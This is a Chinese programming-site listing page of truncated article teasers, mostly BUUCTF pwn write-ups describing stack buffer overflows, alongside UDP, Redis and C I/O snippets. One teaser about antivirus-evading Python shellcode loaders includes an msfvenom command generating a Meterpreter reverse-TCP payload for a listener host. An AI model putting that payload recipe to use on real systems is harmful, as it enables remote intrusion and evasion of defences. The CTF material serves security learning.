E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
buf
[BUUCTF]PWN——jarvisoj_level1
位程序,没有开任何保护本地运行一下程序,看看大概的情况,可以看到输出了一个地址32位ida载入,习惯性的检索程序里的字符串,没有发现可以直接利用的gates,main函数开始看程序function函数参数
buf
Angel~Yan
·
2023-10-14 20:24
BUUCTF刷题记录
PWN
[buuctf]jarvisoj_level2
之后你输入的全给
buf
中,大小100h,之后跳回去,输出helloword,大概逻辑知道了,先看看源程序中,有没有/bin/sh这类,在地址0804A024有/bin/sh,之后找plt表,08048320
逆向萌新
·
2023-10-14 20:54
PWN
#
buuctf
安全
BUUCTF jarvisoj_level0
先checksec,仅开启了NX保护运行一下放入ida中查看main函数没有什么关键信息,双击vulnerable_function()在这里我们看到了漏洞
buf
定义了80个字节,而我们可以输入更多的数据接着找找后门函数这道题很简单
不会解pwn的泽
·
2023-10-14 20:23
PWN
pwn
buuctf ---- jarvisoj_level(全)
buuctf-----jarvisoj_level0运行一下程序使用64位的IDA查看程序查看vulner_function函数发现
buf
存在溢出漏洞,
buf
是0x80,read了0x200存在栈溢出漏洞发现后门函数
@See you later
·
2023-10-14 20:52
pwn
安全
pwn
[BUUCTF]PWN------jarvisoj_level0
可以看到
buf
的大小是0x80,但它读取时只读了0x20,可以溢出,覆盖返回地址为后门地址既可expflag
HAIANAWEI
·
2023-10-14 20:48
pwn
[华为杯研究生创新赛 2023] 初赛 REV WP
challenge没看出来是凯撒,想得复杂了,结果错失一次线下机会>_
buf
fa1c4
·
2023-10-14 07:20
逆向工程
逆向
UDP通信:快速入门
UDP协议通信模型演示UDPAPIDatagramPacket:数据包对象(韭菜盘子)publicDatagramPacket(byte[]
buf
,intlength,InetAddressaddress
axinawang
·
2023-10-13 14:24
java
网络
基于UDP协议的通信程序
【打包被发送的数据/接收发来的数据】构造方法:DatagramPacket(byte[]
buf
,intl
slom_fxt
·
2023-10-13 08:41
java基础
udp
random: crng init done导致应用启动慢的问题
原因:追查发现是由于getrandom后,进入系统调用SYSC_getrandom:SYSCALL_DEFINE3(getrandom,char__user*,
buf
,size_t,count,unsignedint
Aero Auto
·
2023-10-13 03:59
linux
Qt
C++ 使用getline()从文件中读取一行字符串
该方法有以下2种语法格式:istream&getline(char*
buf
,intbufSize);istrea
向阳逐梦
·
2023-10-13 02:01
C++语法
c++
开发语言
python加载shellcode免杀
xor_dynamic-i16-pwindows/x64/meterpreter_reverse_tcplhost=192.168.111.111lport=80-fpy-oshell.pybuf=b""
buf
ctostm
·
2023-10-13 00:27
python
网络
开发语言
网络安全
web安全
安全
Redis深度历险-AOF持久化
深度历险-AOF持久化Redis提供两种持久化方式AOF和RDB,RDB是快照形式持久化全量数据、AOF是增量持久化记录执行命令AOF原理structredisServer{........sdsaof_
buf
突击手平头哥
·
2023-10-12 15:45
CPP读写文件
,打开方式);ofs#includeusingnamespacestd;intmain(){//写文件/*fstreamofs;ofs.open("wenben.txt",ios::out);ofs>
buf
炸毛疯兔
·
2023-10-12 04:34
c++学习
c++
一文搞清楚linux系统内存详情:buffer/cache等
(毕竟内核里面使用内存的单元太多了)内存是被块设备的IO,也就是
Buf
iqifenxia
·
2023-10-11 13:45
linux
运维
服务器
java reactor设计模式_reactor设计模式处理网络高并发IO请求
同步编程while(1){epoll_wait(...)for(;;){if(fd==listenner_socket){cfd=accpt(listenner_socket);}else{read(fd,
buf
杯具制造者
·
2023-10-11 02:52
java
reactor设计模式
IO进程day6
100];strcpy(s,*a);while(1){printf("%s\n",s);}}void*B(void*b){chars[100]=(char*)malloc(100);strcpy(s,
buf
G G 棒
·
2023-10-11 00:35
算法
服务器
linux
UDP通信
UDP通信#include#includessize_tsendto(intsockfd,constvoid*
buf
,size_tlen,intflags, conststructsockaddr
ME_Liao_2022
·
2023-10-10 22:24
udp
网络协议
网络
【C++】获取当前文件所在绝对路径 && GetCurrentDirectory()函数使用详解
方法实现,单独编写验证程序如下:#include#includeusingnamespacestd;intmain(void){charbuf[1000];GetCurrentDirectory(1000,
buf
悄敲敲
·
2023-10-10 19:44
C++学习笔记
c++
windows
C语言实现环形队列(Circular Queue)
ring.c文件的内容:voiddma_ring_init(structdma_ring_
buf
*ring){ring->
buf
_size=RING_
BUF
_SIZE;ring->w_ptr=0;ring
一代大侠胡小鱼
·
2023-10-09 23:26
stm32
队列
c语言
http发送和接收图片json文件
stringdetectNet::Mat2Base64(constcv::Mat&image,std::stringimgType){std::vectorbuf;cv::imencode(imgType,image,
buf
zk_ken
·
2023-10-09 21:06
json
opencv
人工智能
NewStarCTF 2023 WEEK1|PWN ret2text
;puts("Showmeyourmagic");read(0,
buf
,0x100uLL);return0;}main函数,里r
半两八金
·
2023-10-08 23:28
CTF
服务器
运维
安全威胁分析
安全
web安全
PWN
IODay6
;5pthread_mutex_tmutex;67void*callBack1(void*arg)8{9pthread_mutex_lock(&mutex);10while(1)11{12bzero(
buf
cncs1314
·
2023-10-08 21:43
linux
作业10.3
argv[]){pid_tfd=fork();intpfd1[2]={0};intpfd2[2]={0};if(pipe(pfd1)0){charbuf[128]="";while(1){bzero(
buf
benbai_v
·
2023-10-08 04:11
c语言
Linux网络编程- recvfrom() & sendto()
函数原型为:ssize_trecvfrom(intsockfd,void*
buf
,size_tlen,intflags,structsockaddr*src
青衫客36
·
2023-10-08 02:08
工程化C
Linux
linux
网络
C++下标访问运算符重载
#includeusingnamespacestd;classDoubleArray//double数据列{private:intsize;//数据列大小double*
buf
;//数
程序白痴
·
2023-10-08 00:29
c++下标运算符重载
用c语言对文件的写入和保存,C++_C语言中对文件最基本的读取和写入函数,C语言read()函数:读文件函数( - phpStudy...
C语言中对文件最基本的读取和写入函数C语言read()函数:读文件函数(由已打开的文件读取数据)头文件:#include定义函数:ssize_tread(intfd,void*
buf
,size_tcount
weixin_39805906
·
2023-10-07 10:04
用c语言对文件的写入和保存
【排序】九度OJ 1202 变形:降序排序
=0){for(inti=0;i>
buf
[i];}sort(
buf
,
buf
Mad Idea
·
2023-10-06 13:17
初级机试总结
数据结构
算法
协程切换的三种底层实现方式
-setjmp函数用于保存当前执行状态,并将其存储在一个jmp_
buf
ZLOSER02
·
2023-10-06 13:58
linux
c语言
服务器
lv7 嵌入式开发-网络编程开发 09 UDP通信
通信的实现过程3服务端代码、客户端、makefile代码实现1用到的相关API1.1write/read到send/recvsend函数原型:ssize_tsend(intsockfd,constvoid*
buf
4IOT
·
2023-10-06 10:56
嵌入式开发
网络
udp
linux
C语言函数指针和指针函数
Long*fun(int)//fun指针函数带有int参量,并返回一个long变量的指针函数举例如下:int*fun(inta,intb)//指针函数定义/声明{int*
buf
=(int*)mall
舒克的贝塔
·
2023-10-05 20:40
C语言和数据结构
c语言
算法
开发语言
IO流
流的分类InputStream/OutputStreamInputStream是所有字节输入流的抽象父类,提供了read读取一个字节read(byte[]
buf
)读取一定量的字节到缓冲区数组
buf
中。
什么时候养猫
·
2023-10-05 06:49
#文件--C++
文件的头文件#include//全局函数getline的头文件//写文件voidtest01(){ofstreamofs;//创建流对象ofs.open("test.txt",ios::out);ofs>
buf
hz2.0
·
2023-10-05 05:08
c++
0day 第10章--10.4节:攻击异常处理突破GS(1)
书上说,溢出原理是shellcode过程导致覆盖了strcat(
buf
,input
Angelki
·
2023-10-04 20:59
0day
10.2作业
strcpy#includeintmain(intargc,constchar*argv[]){charbuf1[]="hello";charbuf2[]="world";printf("%s\t",
buf
1
该用户不存在、、
·
2023-10-04 16:51
java
算法
前端
10.3作业
};intpipe2[2]={0};if(pipe(pipe1)0){while(1){close(pipe1[0]);close(pipe2[1]);printf("父进程请输入:");fgets(
buf
该用户不存在、、
·
2023-10-04 16:51
java
算法
前端
作业
#include"myhead.h"intmain(intargc,constchar*argv[]){charstr[]="12345";charbuf[]="qwer";inti=0;while(
buf
初次见面,接个吻好不好?
·
2023-10-04 15:44
java
算法
前端
10.3作业
/f2”,0777);pid_tcpid=fork();if(0>>>>\n”);scanf(“%s”,
buf
);write(fdw,
buf
,sizeof(
buf
));bzero(
buf
,sizeof(
wbbbzzzzz
·
2023-10-03 21:03
linux
王杰IOday7
/fifo1",0664)>>");fgets(
buf
,sizeof(
buf
),stdin);
buf
[strlen(
buf
)-1]=0;if(strcmp(
buf
,"quit")==0)break;if
wwjj26
·
2023-10-03 16:36
c语言
王杰国庆作业day3
/fifo2",0664);pid_tcpid=fork();if(0>>>>\n");scanf("%s",
buf
);write(wfd,
buf
,sizeof(
buf
));bzero(
buf
wwjj26
·
2023-10-03 16:04
c语言
国庆10.01
fd_settempfds,intmaxfd){charbuf[128]="";//用来接收数据charbuf1[128]="";//用来接收数据intsnfd=-1;//用来接受从终端的文件描述符bzero(
buf
小憩一下马上回来
·
2023-10-03 14:55
microsoft
国庆作业day4
父进程接收后打印#include"head.h"#definebuf_size256intmain(intargc,constchar*argv[]){intfd[2];pid_tpid;charbuf[
buf
_size
敲不了一点儿
·
2023-10-03 05:04
java
开发语言
国庆作业4
#include"head.h"#definebuf_size256intmain(intargc,constchar*argv[]){intfd[2];pid_tpid;charbuf[
buf
_size
橘子茶714
·
2023-10-03 04:51
java
开发语言
C++DAY29
/jpg.jpg",O_RDONLY))0){write(fdt,
buf
,nbyte);}close(fds);close(fdt);}else{lseek(fds,0,SEEK_SET);whi
橘子茶714
·
2023-10-03 04:51
c++
java
前端
IO进程线程day4
./11.png",O_RDONLY);if(fd0){bzero(
buf
,sizeof(
buf
));res=(fd,
buf
,sizeof(
buf
));if(size/2==res)break;write
Serendipity_について
·
2023-10-03 02:08
嵌入式硬件
C语言 strcmp、strncpy、sprintf、strncmp函数总结
#includeintmain(){charbuf[1024]={0};sprintf(
buf
,"www.codersrc.com\n");printf("%s",
buf
);sprintf(
buf
,"www.codersrc.comage
奔跑的小赛兔
·
2023-10-03 00:12
C语言
c语言
C语言中sprintf函数的用法
Printformattedoutputintoastring#includeintsprintf(char*
buf
,constchar*format,...)
modi000
·
2023-10-03 00:11
c语言
Redis简单动态字符串(SDS)
大多数情况下,redis使用SDS作为字符串表示SDS(simpledynamicstring)structsdshdr{intlen;//记录
buf
数组中已使用字节的数量,等于SDS所保存字符串的长度
来深圳
·
2023-10-02 21:04
#
Redis
redis
缓存
Linux C语言学习 IO进程:day2 文件IO的各种函数
:1.打开文件:fopen/freopenFILE*fp;fopen(path,mode);2.读写操作:流1)每次一个字符的读写fgetcfputc2)每次一行的读写fgetsfputsfgets(
buf
墨鱼馒头
·
2023-10-02 14:33
linux
编程语言
大数据
2023.09.13
/fifo_1",0664)>>>%s\n",
buf
);if(0==res){puts("数据读取完成");break;}//关闭第一个管道close(fp1);//打开第二个管道(写)intfp2=open
路过的坏人
·
2023-10-02 10:38
服务器
linux
运维
redis基础数据结构
sds只是这个结构体的char[]
buf
如果要获取sds的其它字段,则通过内存位置s[-n]来获取这样,既可以使用sds中新的api,又可以使用c中的大部分的char*库函数为了方便理解拿以前版本的定义
传说中的水牛
·
2023-10-02 09:34
上一页
5
6
7
8
9
10
11
12
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他